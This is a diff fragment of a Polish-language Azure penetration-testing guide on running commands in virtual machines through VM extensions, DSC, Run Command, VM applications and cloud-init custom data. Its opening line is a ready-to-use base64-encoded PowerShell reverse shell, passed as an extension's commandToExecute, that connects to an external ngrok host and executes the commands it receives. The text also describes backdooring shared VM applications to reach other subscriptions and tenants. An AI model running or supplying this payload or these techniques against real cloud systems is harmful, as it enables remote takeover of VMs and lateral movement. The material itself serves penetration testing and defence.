--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Wykonaj powłokę odwrotną z pliku
- Wykonaj odwrotną powłokę z pliku
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -549,7 +549,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<details>
<summary>DesiredConfigurationState (DSC)</summary>
<summary>DesiredStateConfiguration (DSC)</summary>
To jest **rozszerzenie VM**, które należy do Microsoft i wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego może być używane do **wykonywania dowolnych poleceń** w maszynach wirtualnych Windows za pomocą tego rozszerzenia:
```powershell
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
<summary>Hybrid Runbook Worker</summary>
To jest rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta automatyzacji. Aby uzyskać więcej informacji, sprawdź usługę [Automation Accounts](../az-automation-account/).
Jest to rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta automatyzacji. Aby uzyskać więcej informacji, sprawdź usługę [Automation Accounts](../az-automation-account/index.html).
</details>
@@ -625,7 +625,7 @@ To są ścieżki, w których aplikacje są pobierane w systemie plików:
Sprawdź, jak zainstalować nowe aplikacje w [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> Możliwe jest **dzielenie się poszczególnymi aplikacjami i galeriami z innymi subskrypcjami lub najemcami**. Co jest bardzo interesujące, ponieważ może to pozwolić atakującemu na wprowadzenie backdoora do aplikacji i przejście do innych subskrypcji i najemców.
> Możliwe jest **udostępnienie poszczególnych aplikacji i galerii innym subskrypcjom lub najemcom**. Co jest bardzo interesujące, ponieważ może to pozwolić atakującemu na wprowadzenie backdoora do aplikacji i przejście do innych subskrypcji i najemców.
Jednak **nie ma "rynku" dla aplikacji vm**, jak to ma miejsce w przypadku rozszerzeń.
@@ -730,7 +730,7 @@ Możliwe jest przekazanie pewnych danych do VM, które będą przechowywane w oc
- W **Windows** dane niestandardowe są umieszczane w `%SYSTEMDRIVE%\AzureData\CustomData.bin` jako plik binarny i nie są przetwarzane.
- W **Linux** były przechowywane w `/var/lib/waagent/ovf-env.xml`, a teraz są przechowywane w `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agent Linux**: Domyślnie nie przetwarza danych niestandardowych, potrzebny jest niestandardowy obraz z włączonymi danymi
- **cloud-init:** Domyślnie przetwarza dane niestandardowe, a te dane mogą być w [**kilku formatach**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Może łatwo wykonać skrypt, wysyłając tylko skrypt w danych niestandardowych.
- **cloud-init:** Domyślnie przetwarza dane niestandardowe, a te dane mogą być w [**kilku formatach**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Może łatwo wykonać skrypt, wysyłając po prostu skrypt w danych niestandardowych.
- Próbowałem, aby zarówno Ubuntu, jak i Debian wykonały skrypt, który tutaj umieścisz.
- Nie ma również potrzeby włączania danych użytkownika, aby to mogło być wykonane.
```bash
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **Uruchom polecenie**
To jest najbardziej podstawowy mechanizm, który Azure zapewnia do **wykonywania dowolnych poleceń w VM**. Wymagana uprawnienie to `Microsoft.Compute/virtualMachines/runCommand/action`.
To jest najprostszy mechanizm, który Azure zapewnia do **wykonywania dowolnych poleceń w VM**. Wymagana zgoda to `Microsoft.Compute/virtualMachines/runCommand/action`.
{{#tabs }}
{{#tab name="Linux" }}